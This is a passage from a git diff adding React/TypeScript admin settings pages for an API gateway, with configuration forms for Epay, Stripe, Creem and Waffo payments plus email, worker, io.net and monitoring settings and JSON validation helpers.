+                    <FormLabel>{t('Epay merchant ID')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        placeholder='10001'
+                        autoComplete='off'
+                        {...field}
+                        onChange={(event) => field.onChange(event.target.value)}
+                      />
+                    </FormControl>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <FormField
+                control={form.control}
+                name='EpayKey'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Epay secret key')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        type='password'
+                        placeholder={t('Enter new key to update')}
+                        autoComplete='new-password'
+                        {...field}
+                        onChange={(event) => field.onChange(event.target.value)}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t('Leave blank unless rotating the secret')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+            </div>
+
+            <Button
+              type='button'
+              onClick={(e) => {
+                e.preventDefault()
+                e.stopPropagation()
+                saveEpaySettings()
+              }}
+              disabled={updateOption.isPending}
+            >
+              {updateOption.isPending
+                ? t('Saving...')
+                : t('Save Epay settings')}
+            </Button>
+          </div>
+
+          <Separator />
+
+          <div className='space-y-4'>
+            <div>
+              <h3 className='text-lg font-medium'>{t('Stripe Gateway')}</h3>
+              <p className='text-muted-foreground text-sm'>
+                {t('Configuration for Stripe payment integration')}
+              </p>
+            </div>
+
+            <div className='rounded-md bg-blue-50 p-4 text-sm text-blue-900 dark:bg-blue-950 dark:text-blue-100'>
+              <p className='mb-2 font-medium'>{t('Webhook Configuration:')}</p>
+              <ul className='list-inside list-disc space-y-1'>
+                <li>
+                  {t('Webhook URL:')}{' '}
+                  <code className='rounded bg-blue-100 px-1 py-0.5 text-xs dark:bg-blue-900'>
+                    {'<ServerAddress>/api/stripe/webhook'}
+                  </code>
+                </li>
+                <li>
+                  {t('Required events:')}{' '}
+                  <code className='rounded bg-blue-100 px-1 py-0.5 text-xs dark:bg-blue-900'>
+                    {t('checkout.session.completed')}
+                  </code>{' '}
+                  {t('and')}{' '}
+                  <code className='rounded bg-blue-100 px-1 py-0.5 text-xs dark:bg-blue-900'>
+                    {t('checkout.session.expired')}
+                  </code>
+                </li>
+                <li>
+                  {t('Configure at:')}{' '}
+                  <a
+                    href='https://dashboard.stripe.com/developers'
+                    target='_blank'
+                    rel='noreferrer'
+                    className='underline hover:no-underline'
+                  >
+                    {t('Stripe Dashboard')}
+                  </a>
+                </li>
+              </ul>
+            </div>
+
+            <div className='grid gap-6 md:grid-cols-3'>
+              <FormField
+                control={form.control}
+                name='StripeApiSecret'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('API secret')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        type='password'
+                        placeholder={t('sk_xxx or rk_xxx')}
+                        autoComplete='new-password'
+                        {...field}
+                        onChange={(event) => field.onChange(event.target.value)}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t('Stripe API key (leave blank unless updating)')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <FormField
+                control={form.control}
+                name='StripeWebhookSecret'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Webhook secret')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        type='password'
+                        placeholder={t('whsec_xxx')}
+                        autoComplete='new-password'
+                        {...field}
+                        onChange={(event) => field.onChange(event.target.value)}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t(
+                        'Webhook signing secret (leave blank unless updating)'
+                      )}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <FormField
+                control={form.control}
+                name='StripePriceId'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Price ID')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        placeholder={t('price_xxx')}
+                        {...field}
+                        onChange={(event) => field.onChange(event.target.value)}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t('Stripe product price ID')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+            </div>
+
+            <div className='grid gap-6 md:grid-cols-3'>
+              <FormField
+                control={form.control}
+                name='StripeUnitPrice'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>
+                      {t('Unit price (local currency / USD)')}
+                    </FormLabel>
+                    <FormControl>
+                      <Input
+                        type='number'
+                        step='0.01'
+                        min={0}
+                        value={(field.value ?? 0) as number}
+                        onChange={(event) =>
+                          field.onChange(event.target.valueAsNumber)
+                        }
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t('e.g., 8 means 8 local currency per USD')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <FormField
+                control={form.control}
+                name='StripeMinTopUp'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Minimum top-up (USD)')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        type='number'
+                        step='0.01'
+                        min={0}
+                        value={(field.value ?? 0) as number}
+                        onChange={(event) =>
+                          field.onChange(event.target.valueAsNumber)
+                        }
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t('Minimum recharge amount in USD')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <FormField
+                control={form.control}
+                name='StripePromotionCodesEnabled'
+                render={({ field }) => (
+                  <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                    <div className='space-y-0.5'>
+                      <FormLabel className='text-base'>
+                        {t('Promotion codes')}
+                      </FormLabel>
+                      <FormDescription>
+                        {t('Allow users to enter promo codes')}
+                      </FormDescription>
+                    </div>
+                    <FormControl>
+                      <Switch
+                        checked={field.value}
+                        onCheckedChange={field.onChange}
+                      />
+                    </FormControl>
+                  </FormItem>
+                )}
+              />
+            </div>
+
+            <Button
+              type='button'
+              onClick={(e) => {
+                e.preventDefault()
+                e.stopPropagation()
+                saveStripeSettings()
+              }}
+              disabled={updateOption.isPending}
+            >
+              {updateOption.isPending
+                ? t('Saving...')
+                : t('Save Stripe settings')}
+            </Button>
+          </div>
+
+          <Separator />
+
+          <div className='space-y-4'>
+            <div>
+              <h3 className='text-lg font-medium'>{t('Creem Gateway')}</h3>
+              <p className='text-muted-foreground text-sm'>
+                {t('Configuration for Creem payment integration')}
+              </p>
+            </div>
+
+            <div className='rounded-md bg-blue-50 p-4 text-sm text-blue-900 dark:bg-blue-950 dark:text-blue-100'>
+              <p className='mb-2 font-medium'>{t('Webhook Configuration:')}</p>
+              <ul className='list-inside list-disc space-y-1'>
+                <li>
+                  {t('Webhook URL:')}{' '}
+                  <code className='rounded bg-blue-100 px-1 py-0.5 text-xs dark:bg-blue-900'>
+                    {'<ServerAddress>/api/creem/webhook'}
+                  </code>
+                </li>
+                <li>{t('Configure in your Creem dashboard')}</li>
+              </ul>
+            </div>
+
+            <div className='grid gap-6 md:grid-cols-2'>
+              <FormField
+                control={form.control}
+                name='CreemApiKey'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('API Key')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        type='password'
+                        placeholder={t('Enter Creem API key')}
+                        autoComplete='new-password'
+                        {...field}
+                        onChange={(event) => field.onChange(event.target.value)}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t('Creem API key (leave blank unless updating)')}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+
+              <FormField
+                control={form.control}
+                name='CreemWebhookSecret'
+                render={({ field }) => (
+                  <FormItem>
+                    <FormLabel>{t('Webhook Secret')}</FormLabel>
+                    <FormControl>
+                      <Input
+                        type='password'
+                        placeholder={t('Enter webhook secret')}
+                        autoComplete='new-password'
+                        {...field}
+                        onChange={(event) => field.onChange(event.target.value)}
+                      />
+                    </FormControl>
+                    <FormDescription>
+                      {t(
+                        'Webhook signing secret (leave blank unless updating)'
+                      )}
+                    </FormDescription>
+                    <FormMessage />
+                  </FormItem>
+                )}
+              />
+            </div>
+
+            <FormField
+              control={form.control}
+              name='CreemTestMode'
+              render={({ field }) => (
+                <FormItem className='flex flex-row items-center justify-between rounded-lg border p-4'>
+                  <div className='space-y-0.5'>
+                    <FormLabel className='text-base'>
+                      {t('Test Mode')}
+                    </FormLabel>
+                    <FormDescription>
+                      {t('Enable test mode for Creem payments')}
+                    </FormDescription>
+                  </div>
+                  <FormControl>
+                    <Switch
+                      checked={field.value}
+                      onCheckedChange={field.onChange}
+                    />
+                  </FormControl>
+                </FormItem>
+              )}
+            />
+
+            <FormField
+              control={form.control}
+              name='CreemProducts'
+              render={({ field }) => (
+                <FormItem>
+                  <div className='mb-2 flex flex-col gap-2 sm:flex-row sm:items-center sm:justify-between'>
+                    <FormLabel>{t('Products')}</FormLabel>
+                    <Button
+                      type='button'
+                      variant='outline'
+                      size='sm'
+                      onClick={() =>
+                        setCreemProductsVisualMode(!creemProductsVisualMode)
+                      }
+                      className='w-full sm:w-auto'
+                    >
+                      {creemProductsVisualMode ? (
+                        <>
+                          <Code2 className='mr-2 h-3 w-3' />
+                          {t('JSON Editor')}
+                        </>
+                      ) : (
+                        <>
+                          <Eye className='mr-2 h-3 w-3' />
+                          {t('Visual Editor')}
+                        </>
+                      )}
+                    </Button>
+                  </div>
+                  <FormControl>
+                    {creemProductsVisualMode ? (
+                      <CreemProductsVisualEditor
+                        value={field.value}
+                        onChange={field.onChange}
+                      />
+                    ) : (
+                      <Textarea
+                        rows={4}
+                        placeholder='[{"name":"Basic","productId":"prod_xxx","price":10,"quota":500000,"currency":"USD"}]'
+                        {...field}
+                        onChange={(event) => field.onChange(event.target.value)}
+                      />
+                    )}
+                  </FormControl>
+                  <FormDescription>
+                    {t('Configure Creem products. Provide a JSON array.')}
+                  </FormDescription>
+                  <FormMessage />
+                </FormItem>
+              )}
+            />
+
+            <Button
+              type='button'
+              onClick={(e) => {
+                e.preventDefault()
+                e.stopPropagation()
+                saveCreemSettings()
+              }}
+              disabled={updateOption.isPending}
+            >
+              {updateOption.isPending
+                ? t('Saving...')
+                : t('Save Creem settings')}
+            </Button>
+          </div>
+
+          <Button type='submit' disabled={updateOption.isPending}>
+            {updateOption.isPending ? t('Saving...') : t('Save all settings')}
+          </Button>
+        </form>
+      </Form>
+
+      <Separator />
+
+      <WaffoSettingsSection defaultValues={waffoDefaultValues} />
+
+      <Separator />
+
+      <WaffoPancakeSettingsSection defaultValues={waffoPancakeDefaultValues} />
+      {/* eslint-enable react-hooks/refs */}
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/integrations/section-registry.tsx b/new-api/web/default/src/features/system-settings/integrations/section-registry.tsx
new file mode 100644
index 0000000..ff3f074
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/integrations/section-registry.tsx
@@ -0,0 +1,160 @@
+import type { IntegrationSettings } from '../types'
+import { createSectionRegistry } from '../utils/section-registry'
+import { EmailSettingsSection } from './email-settings-section'
+import { IoNetDeploymentSettingsSection } from './ionet-deployment-settings-section'
+import { MonitoringSettingsSection } from './monitoring-settings-section'
+import { PaymentSettingsSection } from './payment-settings-section'
+import { WorkerSettingsSection } from './worker-settings-section'
+
+const INTEGRATIONS_SECTIONS = [
+  {
+    id: 'payment',
+    titleKey: 'Payment Gateway',
+    descriptionKey: 'Configure payment gateway integrations',
+    build: (settings: IntegrationSettings) => (
+      <PaymentSettingsSection
+        defaultValues={{
+          PayAddress: settings.PayAddress,
+          EpayId: settings.EpayId,
+          EpayKey: settings.EpayKey,
+          Price: settings.Price,
+          MinTopUp: settings.MinTopUp,
+          CustomCallbackAddress: settings.CustomCallbackAddress,
+          PayMethods: settings.PayMethods,
+          AmountOptions: settings['payment_setting.amount_options'],
+          AmountDiscount: settings['payment_setting.amount_discount'],
+          StripeApiSecret: settings.StripeApiSecret,
+          StripeWebhookSecret: settings.StripeWebhookSecret,
+          StripePriceId: settings.StripePriceId,
+          StripeUnitPrice: settings.StripeUnitPrice,
+          StripeMinTopUp: settings.StripeMinTopUp,
+          StripePromotionCodesEnabled: settings.StripePromotionCodesEnabled,
+          CreemApiKey: settings.CreemApiKey,
+          CreemWebhookSecret: settings.CreemWebhookSecret,
+          CreemTestMode: settings.CreemTestMode,
+          CreemProducts: settings.CreemProducts,
+        }}
+        waffoDefaultValues={{
+          WaffoEnabled: settings.WaffoEnabled ?? false,
+          WaffoApiKey: settings.WaffoApiKey ?? '',
+          WaffoPrivateKey: settings.WaffoPrivateKey ?? '',
+          WaffoPublicCert: settings.WaffoPublicCert ?? '',
+          WaffoSandboxPublicCert: settings.WaffoSandboxPublicCert ?? '',
+          WaffoSandboxApiKey: settings.WaffoSandboxApiKey ?? '',
+          WaffoSandboxPrivateKey: settings.WaffoSandboxPrivateKey ?? '',
+          WaffoSandbox: settings.WaffoSandbox ?? false,
+          WaffoMerchantId: settings.WaffoMerchantId ?? '',
+          WaffoCurrency: settings.WaffoCurrency ?? 'USD',
+          WaffoUnitPrice: settings.WaffoUnitPrice ?? 1,
+          WaffoMinTopUp: settings.WaffoMinTopUp ?? 1,
+          WaffoNotifyUrl: settings.WaffoNotifyUrl ?? '',
+          WaffoReturnUrl: settings.WaffoReturnUrl ?? '',
+          WaffoPayMethods: settings.WaffoPayMethods ?? '[]',
+        }}
+        waffoPancakeDefaultValues={{
+          WaffoPancakeEnabled: settings.WaffoPancakeEnabled ?? false,
+          WaffoPancakeSandbox: settings.WaffoPancakeSandbox ?? false,
+          WaffoPancakeMerchantID: settings.WaffoPancakeMerchantID ?? '',
+          WaffoPancakePrivateKey: settings.WaffoPancakePrivateKey ?? '',
+          WaffoPancakeWebhookPublicKey:
+            settings.WaffoPancakeWebhookPublicKey ?? '',
+          WaffoPancakeWebhookTestKey: settings.WaffoPancakeWebhookTestKey ?? '',
+          WaffoPancakeStoreID: settings.WaffoPancakeStoreID ?? '',
+          WaffoPancakeProductID: settings.WaffoPancakeProductID ?? '',
+          WaffoPancakeReturnURL: settings.WaffoPancakeReturnURL ?? '',
+          WaffoPancakeCurrency: settings.WaffoPancakeCurrency ?? 'USD',
+          WaffoPancakeUnitPrice: settings.WaffoPancakeUnitPrice ?? 1,
+          WaffoPancakeMinTopUp: settings.WaffoPancakeMinTopUp ?? 1,
+        }}
+      />
+    ),
+  },
+  {
+    id: 'email',
+    titleKey: 'SMTP Email',
+    descriptionKey: 'Configure SMTP email settings',
+    build: (settings: IntegrationSettings) => (
+      <EmailSettingsSection
+        defaultValues={{
+          SMTPServer: settings.SMTPServer,
+          SMTPPort: settings.SMTPPort,
+          SMTPAccount: settings.SMTPAccount,
+          SMTPFrom: settings.SMTPFrom,
+          SMTPToken: settings.SMTPToken,
+          SMTPSSLEnabled: settings.SMTPSSLEnabled,
+          SMTPForceAuthLogin: settings.SMTPForceAuthLogin,
+        }}
+      />
+    ),
+  },
+  {
+    id: 'worker',
+    titleKey: 'Worker Proxy',
+    descriptionKey: 'Configure worker service settings',
+    build: (settings: IntegrationSettings) => (
+      <WorkerSettingsSection
+        defaultValues={{
+          WorkerUrl: settings.WorkerUrl,
+          WorkerValidKey: settings.WorkerValidKey,
+          WorkerAllowHttpImageRequestEnabled:
+            settings.WorkerAllowHttpImageRequestEnabled,
+        }}
+      />
+    ),
+  },
+  {
+    id: 'ionet',
+    titleKey: 'io.net Deployments',
+    descriptionKey: 'Configure IoNet model deployment settings',
+    build: (settings: IntegrationSettings) => (
+      <IoNetDeploymentSettingsSection
+        defaultValues={{
+          enabled: settings['model_deployment.ionet.enabled'],
+          apiKey: settings['model_deployment.ionet.api_key'],
+        }}
+      />
+    ),
+  },
+  {
+    id: 'monitoring',
+    titleKey: 'Monitoring & Alerts',
+    descriptionKey: 'Configure channel monitoring and automation',
+    build: (settings: IntegrationSettings) => (
+      <MonitoringSettingsSection
+        defaultValues={{
+          ChannelDisableThreshold: settings.ChannelDisableThreshold,
+          QuotaRemindThreshold: settings.QuotaRemindThreshold,
+          AutomaticDisableChannelEnabled:
+            settings.AutomaticDisableChannelEnabled,
+          AutomaticEnableChannelEnabled: settings.AutomaticEnableChannelEnabled,
+          AutomaticDisableKeywords: settings.AutomaticDisableKeywords,
+          AutomaticDisableStatusCodes: settings.AutomaticDisableStatusCodes,
+          AutomaticRetryStatusCodes: settings.AutomaticRetryStatusCodes,
+          'monitor_setting.auto_test_channel_enabled':
+            settings['monitor_setting.auto_test_channel_enabled'],
+          'monitor_setting.auto_test_channel_minutes':
+            settings['monitor_setting.auto_test_channel_minutes'],
+        }}
+      />
+    ),
+  },
+] as const
+
+export type IntegrationSectionId = (typeof INTEGRATIONS_SECTIONS)[number]['id']
+
+const integrationsRegistry = createSectionRegistry<
+  IntegrationSectionId,
+  IntegrationSettings
+>({
+  sections: INTEGRATIONS_SECTIONS,
+  defaultSection: 'payment',
+  basePath: '/system-settings/integrations',
+  urlStyle: 'path',
+})
+
+export const INTEGRATIONS_SECTION_IDS = integrationsRegistry.sectionIds
+export const INTEGRATIONS_DEFAULT_SECTION = integrationsRegistry.defaultSection
+export const getIntegrationsSectionNavItems =
+  integrationsRegistry.getSectionNavItems
+export const getIntegrationsSectionContent =
+  integrationsRegistry.getSectionContent
diff --git a/new-api/web/default/src/features/system-settings/integrations/utils.ts b/new-api/web/default/src/features/system-settings/integrations/utils.ts
new file mode 100644
index 0000000..8bbf549
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/integrations/utils.ts
@@ -0,0 +1,110 @@
+export function removeTrailingSlash(value: string) {
+  const trimmed = value.trim()
+  if (!trimmed) return ''
+  return trimmed.replace(/\/+$/, '')
+}
+
+export function formatJsonForEditor(value: string) {
+  const trimmed = value.trim()
+  if (!trimmed) return ''
+  try {
+    return JSON.stringify(JSON.parse(trimmed), null, 2)
+  } catch {
+    return trimmed
+  }
+}
+
+export function normalizeJsonForComparison(value: string) {
+  const trimmed = value.trim()
+  if (!trimmed) return ''
+  try {
+    return JSON.stringify(JSON.parse(trimmed))
+  } catch {
+    return trimmed
+  }
+}
+
+function extractErrorPosition(
+  error: unknown,
+  jsonString: string
+): { line?: number; column?: number } {
+  if (!(error instanceof Error)) return {}
+
+  const message = error.message
+  const positionMatch = message.match(/at position (\d+)/i)
+
+  if (positionMatch) {
+    const position = parseInt(positionMatch[1], 10)
+    const lines = jsonString.substring(0, position).split('\n')
+    return {
+      line: lines.length,
+      column: lines[lines.length - 1].length + 1,
+    }
+  }
+
+  const lineColMatch = message.match(/at line (\d+) column (\d+)/i)
+  if (lineColMatch) {
+    return {
+      line: parseInt(lineColMatch[1], 10),
+      column: parseInt(lineColMatch[2], 10),
+    }
+  }
+
+  return {}
+}
+
+function formatJsonError(error: unknown, jsonString: string): string {
+  if (!(error instanceof Error)) return 'Invalid JSON'
+
+  const position = extractErrorPosition(error, jsonString)
+  const message = error.message
+
+  const isMissingCommaError =
+    message.includes("Expected ','") ||
+    message.includes('Expected property name') ||
+    message.includes('Unexpected string')
+
+  if (position.line && position.column) {
+    let hint = ''
+    if (isMissingCommaError && position.line > 1) {
+      hint = ` (check line ${position.line - 1} for missing comma)`
+    }
+    return `Error at line ${position.line}, column ${position.column}: ${message}${hint}`
+  }
+
+  return message
+}
+
+export function isValidJson(
+  value: string,
+  predicate?: (parsed: unknown) => boolean
+): boolean {
+  const trimmed = value.trim()
+  if (!trimmed) return true
+  try {
+    const parsed = JSON.parse(trimmed)
+    if (predicate && !predicate(parsed)) {
+      return false
+    }
+    return true
+  } catch {
+    return false
+  }
+}
+
+export function getJsonError(
+  value: string,
+  predicate?: (parsed: unknown) => boolean
+): string | null {
+  const trimmed = value.trim()
+  if (!trimmed) return null
+  try {
+    const parsed = JSON.parse(trimmed)
+    if (predicate && !predicate(parsed)) {
+      return 'JSON structure is invalid'
+    }
+    return null
+  } catch (error) {
+    return formatJsonError(error, trimmed)
+  }
+}
diff --git a/new-api/web/default/src/features/system-settings/integrations/waffo-pancake-settings-section.tsx b/new-api/web/default/src/features/system-settings/integrations/waffo-pancake-settings-section.tsx
new file mode 100644
index 0000000..ce80b53
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/integrations/waffo-pancake-settings-section.tsx
@@ -0,0 +1,290 @@
+import { useEffect, useState } from 'react'
+import { useForm } from 'react-hook-form'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Alert, AlertDescription } from '@/components/ui/alert'
+import { Button } from '@/components/ui/button'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import { Switch } from '@/components/ui/switch'
+import { Textarea } from '@/components/ui/textarea'
+import { SettingsSection } from '../components/settings-section'
+import { useUpdateOption } from '../hooks/use-update-option'
+import { removeTrailingSlash } from './utils'
+
+export interface WaffoPancakeSettingsValues {
+  WaffoPancakeEnabled: boolean
+  WaffoPancakeSandbox: boolean
+  WaffoPancakeMerchantID: string
+  WaffoPancakePrivateKey: string
+  WaffoPancakeWebhookPublicKey: string
+  WaffoPancakeWebhookTestKey: string
+  WaffoPancakeStoreID: string
+  WaffoPancakeProductID: string
+  WaffoPancakeReturnURL: string
+  WaffoPancakeCurrency: string
+  WaffoPancakeUnitPrice: number
+  WaffoPancakeMinTopUp: number
+}
+
+interface Props {
+  defaultValues: WaffoPancakeSettingsValues
+}
+
+export function WaffoPancakeSettingsSection(props: Props) {
+  const { t } = useTranslation()
+  const updateOption = useUpdateOption()
+  const [loading, setLoading] = useState(false)
+  const form = useForm<WaffoPancakeSettingsValues>({
+    defaultValues: props.defaultValues,
+  })
+
+  useEffect(() => {
+    form.reset(props.defaultValues)
+  }, [props.defaultValues, form])
+
+  const handleSave = async () => {
+    const values = form.getValues()
+    const enabled = !!values.WaffoPancakeEnabled
+    const sandbox = !!values.WaffoPancakeSandbox
+
+    if (enabled && !values.WaffoPancakeMerchantID.trim()) {
+      toast.error(t('Merchant ID is required'))
+      return
+    }
+
+    if (enabled && !values.WaffoPancakeStoreID.trim()) {
+      toast.error(t('Store ID is required'))
+      return
+    }
+
+    if (enabled && !values.WaffoPancakeProductID.trim()) {
+      toast.error(t('Product ID is required'))
+      return
+    }
+
+    const requiredWebhookKey = sandbox
+      ? values.WaffoPancakeWebhookTestKey
+      : values.WaffoPancakeWebhookPublicKey
+    if (enabled && !String(requiredWebhookKey || '').trim()) {
+      toast.error(
+        sandbox
+          ? t('Webhook public key (sandbox) is required')
+          : t('Webhook public key (production) is required')
+      )
+      return
+    }
+
+    if (enabled && Number(values.WaffoPancakeUnitPrice) <= 0) {
+      toast.error(t('Unit price must be greater than 0'))
+      return
+    }
+
+    if (enabled && Number(values.WaffoPancakeMinTopUp) < 1) {
+      toast.error(t('Minimum top-up amount must be at least 1'))
+      return
+    }
+
+    setLoading(true)
+    try {
+      const options: { key: string; value: string }[] = [
+        { key: 'WaffoPancakeEnabled', value: enabled ? 'true' : 'false' },
+        { key: 'WaffoPancakeSandbox', value: sandbox ? 'true' : 'false' },
+        {
+          key: 'WaffoPancakeMerchantID',
+          value: values.WaffoPancakeMerchantID || '',
+        },
+        {
+          key: 'WaffoPancakeStoreID',
+          value: values.WaffoPancakeStoreID || '',
+        },
+        {
+          key: 'WaffoPancakeProductID',
+          value: values.WaffoPancakeProductID || '',
+        },
+        {
+          key: 'WaffoPancakeReturnURL',
+          value: removeTrailingSlash(values.WaffoPancakeReturnURL || ''),
+        },
+        {
+          key: 'WaffoPancakeCurrency',
+          value: values.WaffoPancakeCurrency || 'USD',
+        },
+        {
+          key: 'WaffoPancakeUnitPrice',
+          value: String(values.WaffoPancakeUnitPrice ?? 1),
+        },
+        {
+          key: 'WaffoPancakeMinTopUp',
+          value: String(values.WaffoPancakeMinTopUp ?? 1),
+        },
+      ]
+
+      if ((values.WaffoPancakePrivateKey || '').trim()) {
+        options.push({
+          key: 'WaffoPancakePrivateKey',
+          value: values.WaffoPancakePrivateKey,
+        })
+      }
+
+      if ((values.WaffoPancakeWebhookPublicKey || '').trim()) {
+        options.push({
+          key: 'WaffoPancakeWebhookPublicKey',
+          value: values.WaffoPancakeWebhookPublicKey,
+        })
+      }
+
+      if ((values.WaffoPancakeWebhookTestKey || '').trim()) {
+        options.push({
+          key: 'WaffoPancakeWebhookTestKey',
+          value: values.WaffoPancakeWebhookTestKey,
+        })
+      }
+
+      for (const option of options) {
+        await updateOption.mutateAsync(option)
+      }
+      toast.success(t('Updated successfully'))
+    } catch {
+      toast.error(t('Update failed'))
+    } finally {
+      setLoading(false)
+    }
+  }
+
+  return (
+    <SettingsSection
+      title={t('Waffo Pancake Payment Gateway')}
+      description={t(
+        'Configure Waffo Pancake hosted checkout integration for USD-priced top-ups'
+      )}
+    >
+      <Alert>
+        <AlertDescription className='text-xs'>
+          {t(
+            'Obtain the merchant, store, product and signing keys from your Waffo dashboard. Webhook URL: <ServerAddress>/api/waffo-pancake/webhook'
+          )}
+        </AlertDescription>
+      </Alert>
+
+      <div className='grid grid-cols-3 gap-4'>
+        <div className='flex items-center gap-2'>
+          <Switch
+            checked={form.watch('WaffoPancakeEnabled')}
+            onCheckedChange={(value) =>
+              form.setValue('WaffoPancakeEnabled', value)
+            }
+          />
+          <Label>{t('Enable Waffo Pancake')}</Label>
+        </div>
+        <div className='flex items-center gap-2'>
+          <Switch
+            checked={form.watch('WaffoPancakeSandbox')}
+            onCheckedChange={(value) =>
+              form.setValue('WaffoPancakeSandbox', value)
+            }
+          />
+          <Label>{t('Sandbox mode')}</Label>
+        </div>
+        <div className='grid gap-1.5'>
+          <Label>{t('Currency')}</Label>
+          <Input placeholder='USD' {...form.register('WaffoPancakeCurrency')} />
+        </div>
+      </div>
+
+      <div className='grid grid-cols-3 gap-4'>
+        <div className='grid gap-1.5'>
+          <Label>{t('Merchant ID')}</Label>
+          <Input
+            placeholder='MER_xxx'
+            {...form.register('WaffoPancakeMerchantID')}
+          />
+        </div>
+        <div className='grid gap-1.5'>
+          <Label>{t('Store ID')}</Label>
+          <Input
+            placeholder='STO_xxx'
+            {...form.register('WaffoPancakeStoreID')}
+          />
+        </div>
+        <div className='grid gap-1.5'>
+          <Label>{t('Product ID')}</Label>
+          <Input
+            placeholder='PROD_xxx'
+            {...form.register('WaffoPancakeProductID')}
+          />
+        </div>
+      </div>
+
+      <div className='grid grid-cols-2 gap-4'>
+        <div className='grid gap-1.5'>
+          <Label>{t('API Private Key')}</Label>
+          <Textarea
+            rows={3}
+            placeholder={t('Leave blank to keep the existing key')}
+            {...form.register('WaffoPancakePrivateKey')}
+            className='font-mono text-xs'
+          />
+          <p className='text-muted-foreground text-xs'>
+            {t('Stored value is not echoed back for security')}
+          </p>
+        </div>
+        <div className='grid gap-1.5'>
+          <Label>{t('Payment return URL')}</Label>
+          <Input
+            placeholder='https://example.com/console/topup'
+            {...form.register('WaffoPancakeReturnURL')}
+          />
+          <p className='text-muted-foreground text-xs'>
+            {t('Defaults to the wallet page when empty')}
+          </p>
+        </div>
+      </div>
+
+      <div className='grid grid-cols-2 gap-4'>
+        <div className='grid gap-1.5'>
+          <Label>{t('Webhook public key (production)')}</Label>
+          <Textarea
+            rows={3}
+            placeholder={t('Leave blank to keep the existing key')}
+            {...form.register('WaffoPancakeWebhookPublicKey')}
+            className='font-mono text-xs'
+          />
+        </div>
+        <div className='grid gap-1.5'>
+          <Label>{t('Webhook public key (sandbox)')}</Label>
+          <Textarea
+            rows={3}
+            placeholder={t('Leave blank to keep the existing key')}
+            {...form.register('WaffoPancakeWebhookTestKey')}
+            className='font-mono text-xs'
+          />
+        </div>
+      </div>
+
+      <div className='grid grid-cols-2 gap-4'>
+        <div className='grid gap-1.5'>
+          <Label>{t('Unit price (local currency / USD)')}</Label>
+          <Input
+            type='number'
+            step={0.01}
+            min={0}
+            {...form.register('WaffoPancakeUnitPrice', { valueAsNumber: true })}
+          />
+        </div>
+        <div className='grid gap-1.5'>
+          <Label>{t('Minimum top-up (USD)')}</Label>
+          <Input
+            type='number'
+            min={1}
+            {...form.register('WaffoPancakeMinTopUp', { valueAsNumber: true })}
+          />
+        </div>
+      </div>
+
+      <Button onClick={handleSave} disabled={loading}>
+        {loading ? t('Saving...') : t('Save Waffo Pancake settings')}
+      </Button>
+    </SettingsSection>
+  )
+}
diff --git a/new-api/web/default/src/features/system-settings/integrations/waffo-settings-section.tsx b/new-api/web/default/src/features/system-settings/integrations/waffo-settings-section.tsx
new file mode 100644
index 0000000..3201162
--- /dev/null
+++ b/new-api/web/default/src/features/system-settings/integrations/waffo-settings-section.tsx
@@ -0,0 +1,510 @@
+import { type ChangeEvent, useEffect, useRef, useState } from 'react'
+import { useForm } from 'react-hook-form'
+import { Plus, Pencil, Trash2 } from 'lucide-react'
+import { useTranslation } from 'react-i18next'
+import { toast } from 'sonner'
+import { Alert, AlertDescription } from '@/components/ui/alert'
+import { Button } from '@/components/ui/button'
+import {
+  Dialog,
+  DialogContent,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from '@/components/ui/dialog'
+import { Input } from '@/components/ui/input'
+import { Label } from '@/components/ui/label'
+import { Separator } from '@/components/ui/separator'
+import { Switch } from '@/components/ui/switch'
+import {
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
+} from '@/components/ui/table'
+import { Textarea } from '@/components/ui/textarea'
+import { SettingsSection } from '../components/settings-section'
+import { useUpdateOption } from '../hooks/use-update-option'
+
+export interface WaffoSettingsValues {
+  WaffoEnabled: boolean
+  WaffoApiKey: string
+  WaffoPrivateKey: string
+  WaffoPublicCert: string
+  WaffoSandboxPublicCert: string
+  WaffoSandboxApiKey: string
+  WaffoSandboxPrivateKey: string
+  WaffoSandbox: boolean
+  WaffoMerchantId: string
+  WaffoCurrency: string
+  WaffoUnitPrice: number
+  WaffoMinTopUp: number
+  WaffoNotifyUrl: string
